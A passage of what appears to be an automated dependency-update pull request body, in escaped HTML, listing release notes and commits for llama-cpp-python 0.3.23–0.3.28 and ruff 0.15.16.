href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2283\"\u003e#2283\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: update llama.cpp to ggml-org/llama.cpp@9e3b928fd\u003c/li\u003e\n\u003cli\u003efeat(example): add OpenAI-compatible embeddings endpoint by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2281\"\u003e#2281\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.27]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: update llama.cpp to ggml-org/llama.cpp@465b1f0e7\u003c/li\u003e\n\u003cli\u003efeat(example): Updated server example (batch processing, multi-token prediction, \u003ccode\u003e/v1/responses\u003c/code\u003e api, response parsing) by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2174\"\u003e#2174\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.26]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Generic Multimodal Chat Handler by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2256\"\u003e#2256\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: update llama.cpp to ggml-org/llama.cpp@7c158fbb4\u003c/li\u003e\n\u003cli\u003efeat(ci): add ROCm wheel builds by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2252\"\u003e#2252\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(ci): add Vulkan wheel builds by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2251\"\u003e#2251\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: handle additional \u003ccode\u003efrom_pretrained\u003c/code\u003e files in subfolders by \u003ca href=\"https://github.com/TNing\"\u003e\u003ccode\u003e@​TNing\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2085\"\u003e#2085\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.25]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggml-org/llama.cpp@210a6570c by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2242\"\u003e#2242\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: add Gemma 4 multimodal chat support by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2241\"\u003e#2241\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(ci): add CUDA 13.0 and 13.2 wheel builds by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2239\"\u003e#2239\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(ci): add CUDA 11.8 wheel builds by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2238\"\u003e#2238\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): add Pascal compute capability targets to CUDA wheel builds by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2237\"\u003e#2237\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.24]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003edocs: update ROCm install instructions by \u003ca href=\"https://github.com/agronholm\"\u003e\u003ccode\u003e@​agronholm\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/1867\"\u003e#1867\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: clear prompt for recurrent / hybrid models when only a partial prefix matches by \u003ca href=\"https://github.com/avion23\"\u003e\u003ccode\u003e@​avion23\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2108\"\u003e#2108\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: match Transformers \u003ccode\u003etojson\u003c/code\u003e in chat template rendering by \u003ca href=\"https://github.com/CISC\"\u003e\u003ccode\u003e@​CISC\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/1486\"\u003e#1486\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: use env var configured multimodal library override paths when loading shared libraries by \u003ca href=\"https://github.com/navratil-matej\"\u003e\u003ccode\u003e@​navratil-matej\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/1782\"\u003e#1782\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: add Jinja2 loop controls to chat templates by \u003ca href=\"https://github.com/handshape\"\u003e\u003ccode\u003e@​handshape\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2018\"\u003e#2018\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: avoid cleanup errors for partially initialized \u003ccode\u003eLlamaModel\u003c/code\u003e objects by \u003ca href=\"https://github.com/usernames122\"\u003e\u003ccode\u003e@​usernames122\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2173\"\u003e#2173\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: suppress stdout and stderr in Jupyter notebooks by \u003ca href=\"https://github.com/Anai-Guo\"\u003e\u003ccode\u003e@​Anai-Guo\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2181\"\u003e#2181\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: enable arm64 musl builds by \u003ca href=\"https://github.com/acon96\"\u003e\u003ccode\u003e@​acon96\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2221\"\u003e#2221\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Update llama.cpp to ggml-org/llama.cpp@af6528e6d\u003c/li\u003e\n\u003cli\u003efix: model fails to load when chat template uses HuggingFace generation tags by \u003ca href=\"https://github.com/tobocop2\"\u003e\u003ccode\u003e@​tobocop2\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2226\"\u003e#2226\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: add contributing guide by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2229\"\u003e#2229\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: Migrate llama.cpp submodule URL to ggml-org/llama.cpp by \u003ca href=\"https://github.com/shalinib-ibm\"\u003e\u003ccode\u003e@​shalinib-ibm\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2034\"\u003e#2034\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Enable unified KV cache for embedding contexts to preserve full per-sequence context in batch embedding calls by \u003ca href=\"https://github.com/SanjanaB123\"\u003e\u003ccode\u003e@​SanjanaB123\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2217\"\u003e#2217\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.23]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@7d442abf\u003c/li\u003e\n\u003cli\u003efix: Correct batched embedding outputs for multi-sequence \u003ccode\u003eembed()\u003c/code\u003e calls by \u003ca href=\"https://github.com/Anai-Guo\"\u003e\u003ccode\u003e@​Anai-Guo\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2205\"\u003e#2205\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Configure embedding contexts with enough sequence slots for batched \u003ccode\u003eembed()\u003c/code\u003e calls\u003c/li\u003e\n\u003cli\u003efix: Mark all embedding input tokens as outputs to avoid llama.cpp override warnings by \u003ca href=\"https://github.com/Anai-Guo\"\u003e\u003ccode\u003e@​Anai-Guo\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2212\"\u003e#2212\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/8e470ac585a2e4363e0c089c479015ed8470ecb1\"\u003e\u003ccode\u003e8e470ac\u003c/code\u003e\u003c/a\u003e chore: bump version to 0.3.28 (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2284\"\u003e#2284\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/fddee272fc78e0e6b74cad8da10eb19347cad909\"\u003e\u003ccode\u003efddee27\u003c/code\u003e\u003c/a\u003e feat(example): align server MTP support with llama.cpp (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2283\"\u003e#2283\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/db66da32d12408cc5bc62c27d09e09ba570dc131\"\u003e\u003ccode\u003edb66da3\u003c/code\u003e\u003c/a\u003e feat: update llama.cpp to ggml-org/llama.cpp@9e3b928fd (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2282\"\u003e#2282\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/fe927bd000f045ee1b488fbe326421033b8b2716\"\u003e\u003ccode\u003efe927bd\u003c/code\u003e\u003c/a\u003e feat(example): add OpenAI-compatible embeddings endpoint (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2281\"\u003e#2281\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/380177b7b9c09f018d51de7d6410ab8adf5c9754\"\u003e\u003ccode\u003e380177b\u003c/code\u003e\u003c/a\u003e chore: bump version to 0.3.27 (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2279\"\u003e#2279\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/cf1883063bfa8b80cdd95a5e65fb923e97381105\"\u003e\u003ccode\u003ecf18830\u003c/code\u003e\u003c/a\u003e feat: update llama.cpp to ggml-org/llama.cpp@465b1f0e7 (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2278\"\u003e#2278\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/66635a02fd32e1a4cc6bea3c85c3c7c50972fdfd\"\u003e\u003ccode\u003e66635a0\u003c/code\u003e\u003c/a\u003e feat(example): Updated server example (batch processing, \u003ccode\u003e/v1/responses\u003c/code\u003e api,...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/ed833664fe96050d2990131f4673f112d8f88924\"\u003e\u003ccode\u003eed83366\u003c/code\u003e\u003c/a\u003e feat: update llama.cpp to 5a69c9743 (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2277\"\u003e#2277\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/7f16fe1963bbca25b7b8f59410153d46d48dea0f\"\u003e\u003ccode\u003e7f16fe1\u003c/code\u003e\u003c/a\u003e docs: add Gemma 4 QAT Colab notebook (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2276\"\u003e#2276\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/7a2a36d769ffe051320345a9a64b68dddc53b9f8\"\u003e\u003ccode\u003e7a2a36d\u003c/code\u003e\u003c/a\u003e docs: fix Gemma 4 Colab notebook (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2275\"\u003e#2275\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/abetlen/llama-cpp-python/compare/v0.3.21...v0.3.28\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `ruff` from 0.15.12 to 0.15.16\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/astral-sh/ruff/releases\"\u003eruff's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e0.15.16\u003c/h2\u003e\n\u003ch2\u003eRelease Notes\u003c/h2\u003e\n\u003cp\u003eReleased on 2026-06-04.\u003c/p\u003e\n\u003ch3\u003ePreview features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e[\u003ccode\u003eflake8-async\u003c/code\u003e] Implement \u003ccode\u003eyield-in-context-manager-in-async-generator\u003c/code\u003e (\u003ccode\u003eASYNC119\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24644\"\u003e#24644\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[\u003ccode\u003epylint\u003c/code\u003e] Narrow diagnostic range and exclude cases without exception handlers (\u003ccode\u003ePLW0717\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25440\"\u003e#25440\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[\u003ccode\u003eruff\u003c/code\u003e] Treat \u003ccode\u003eyield\u003c/code\u003e before \u003ccode\u003ebreak\u003c/code\u003e from a terminal loop as terminal (\u003ccode\u003eRUF075\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25447\"\u003e#25447\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e[\u003ccode\u003eeradicate\u003c/code\u003e] Avoid flagging \u003ccode\u003eruff:ignore\u003c/code\u003e comments as code (\u003ccode\u003eERA001\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25537\"\u003e#25537\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[\u003ccode\u003eeradicate\u003c/code\u003e] Fix \u003ccode\u003eERA001\u003c/code\u003e/\u003ccode\u003eRUF100\u003c/code\u003e conflict when \u003ccode\u003enoqa\u003c/code\u003e is on commented-out code (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25414\"\u003e#25414\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[\u003ccode\u003epyflakes\u003c/code\u003e] Avoid removing the \u003ccode\u003eformat\u003c/code\u003e call when it would change behavior (\u003ccode\u003eF523\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25320\"\u003e#25320\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[\u003ccode\u003epylint\u003c/code\u003e] Avoid syntax errors in invalid character replacements in f-strings before Python 3.12 (\u003ccode\u003ePLE2510\u003c/code\u003e, \u003ccode\u003ePLE2512\u003c/code\u003e, \u003ccode\u003ePLE2513\u003c/code\u003e, \u003ccode\u003ePLE2514\u003c/code\u003e, \u003ccode\u003ePLE2515\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25544\"\u003e#25544\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[\u003ccode\u003epyupgrade\u003c/code\u003e] Avoid converting \u003ccode\u003eformat\u003c/code\u003e calls with more kinds of side effects (\u003ccode\u003eUP032\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25484\"\u003e#25484\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eRule changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e[\u003ccode\u003eflake8-pytest-style\u003c/code\u003e] Avoid fixes for ambiguous \u003ccode\u003eargnames\u003c/code\u003e and \u003ccode\u003eargvalues\u003c/code\u003e combinations (\u003ccode\u003ePT006\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24776\"\u003e#24776\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePerformance\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eDrop excess capacity from statement suites during parsing (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25368\"\u003e#25368\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDocumentation\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e[\u003ccode\u003epydocstyle\u003c/code\u003e] Improve discoverability of rules enabled for each convention (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24973\"\u003e#24973\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[\u003ccode\u003eruff\u003c/code\u003e] Restore example code for Python versions before 3.15 (\u003ccode\u003eRUF017\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25439\"\u003e#25439\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix typo \u003ccode\u003ebin/active\u003c/code\u003e → \u003ccode\u003ebin/activate\u003c/code\u003e in tutorial (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25473\"\u003e#25473\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eOther changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eShrink additional parser AST collections (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25465\"\u003e#25465\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eContributors\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Redslayer112\"\u003e\u003ccode\u003e@​Redslayer112\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/koriyoshi2041\"\u003e\u003ccode\u003e@​koriyoshi2041\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/George-Ogden\"\u003e\u003ccode\u003e@​George-Ogden\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TejasAmle\"\u003e\u003ccode\u003e@​TejasAmle\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/anishgirianish\"\u003e\u003ccode\u003e@​anishgirianish\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ntBre\"\u003e\u003ccode\u003e@​ntBre\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/MichaReiser\"\u003e\u003ccode\u003e@​MichaReiser\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/loganrosen\"\u003e\u003ccode\u003e@​loganrosen\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/RafaelJohn9\"\u003e\u003ccode\u003e@​RafaelJohn9\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/adityasingh2400\"\u003e\u003ccode\u003e@​adityasingh2400\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/astral-sh/ruff/blob/main/CHANGELOG.md\"\u003eruff's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e0.15.16\u003c/h2\u003e\n\u003cp\u003eReleased on 2026-06-04.\u003c/p\u003e\n\u003ch3\u003ePreview features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e[\u003ccode\u003eflake8-async\u003c/code\u003e] Implement \u003ccode\u003eyield-in-context-manager-in-async-generator\u003c/code\u003e (\u003ccode\u003eASYNC119\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24644\"\u003e#24644\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[\u003ccode\u003epylint\u003c/code\u003e] Narrow diagnostic range and exclude cases without exception handlers (\u003ccode\u003ePLW0717\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25440\"\u003e#25440\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[\u003ccode\u003eruff\u003c/code\u003e] Treat \u003ccode\u003eyield\u003c/code\u003e before \u003ccode\u003ebreak\u003c/code\u003e from a terminal loop as terminal (\u003ccode\u003eRUF075\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25447\"\u003e#25447\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e[\u003ccode\u003eeradicate\u003c/code\u003e] Avoid flagging \u003ccode\u003eruff:ignore\u003c/code\u003e comments as code (\u003ccode\u003eERA001\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25537\"\u003e#25537\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[\u003ccode\u003eeradicate\u003c/code\u003e] Fix \u003ccode\u003eERA001\u003c/code\u003e/\u003ccode\u003eRUF100\u003c/code\u003e conflict when \u003ccode\u003enoqa\u003c/code\u003e is on commented-out code (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25414\"\u003e#25414\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[\u003ccode\u003epyflakes\u003c/code\u003e] Avoid removing the \u003ccode\u003eformat\u003c/code\u003e call when it would change behavior (\u003ccode\u003eF523\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25320\"\u003e#25320\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[\u003ccode\u003epylint\u003c/code\u003e] Avoid syntax errors in invalid character replacements in f-strings before Python 3.12 (\u003ccode\u003ePLE2510\u003c/code\u003e, \u003ccode\u003ePLE2512\u003c/code\u003e, \u003ccode\u003ePLE2513\u003c/code\u003e, \u003ccode\u003ePLE2514\u003c/code\u003e, \u003ccode\u003ePLE2515\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25544\"\u003e#25544\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[\u003ccode\u003epyupgrade\u003c/code\u003e] Avoid converting \u003ccode\u003eformat\u003c/code\u003e calls with more kinds of side effects (\u003ccode\u003eUP032\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25484\"\u003e#25484\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eRule changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e[\u003ccode\u003eflake8-pytest-style\u003c/code\u003e] Avoid fixes for ambiguous \u003ccode\u003eargnames\u003c/code\u003e and \u003ccode\u003eargvalues\u003c/code\u003e combinations (\u003ccode\u003ePT006\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24776\"\u003e#24776\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePerformance\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eDrop excess capacity from statement suites during parsing (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25368\"\u003e#25368\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDocumentation\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e[\u003ccode\u003epydocstyle\u003c/code\u003e] Improve discoverability of rules enabled for each convention (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24973\"\u003e#24973\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[\u003ccode\u003eruff\u003c/code\u003e] Restore example code for Python versions before 3.15 (\u003ccode\u003eRUF017\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25439\"\u003e#25439\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix typo \u003ccode\u003ebin/active\u003c/code\u003e → \u003ccode\u003ebin/activate\u003c/code\u003e in tutorial (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25473\"\u003e#25473\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eOther changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eShrink additional parser AST collections (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25465\"\u003e#25465\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eContributors\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Redslayer112\"\u003e\u003ccode\u003e@​Redslayer112\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/koriyoshi2041\"\u003e\u003ccode\u003e@​koriyoshi2041\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/George-Ogden\"\u003e\u003ccode\u003e@​George-Ogden\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TejasAmle\"\u003e\u003ccode\u003e@​TejasAmle\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/anishgirianish\"\u003e\u003ccode\u003e@​anishgirianish\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ntBre\"\u003e\u003ccode\u003e@​ntBre\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/MichaReiser\"\u003e\u003ccode\u003e@​MichaReiser\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/loganrosen\"\u003e\u003ccode\u003e@​loganrosen\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/RafaelJohn9\"\u003e\u003ccode\u003e@​RafaelJohn9\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/adityasingh2400\"\u003e\u003ccode\u003e@​adityasingh2400\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.15.15\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ruff/commit/6c498ab5394edc5622d7f348e12956bf86203716\"\u003e\u003ccode\u003e6c498ab\u003c/code\u003e\u003c/a\u003e Bump 0.15.16 (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/issues/25635\"\u003e#25635\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ruff/commit/e51e132831c4e1c4a5ac00fca4c9256354ab99bf\"\u003e\u003ccode\u003ee51e132\u003c/code\u003e\u003c/a\u003e 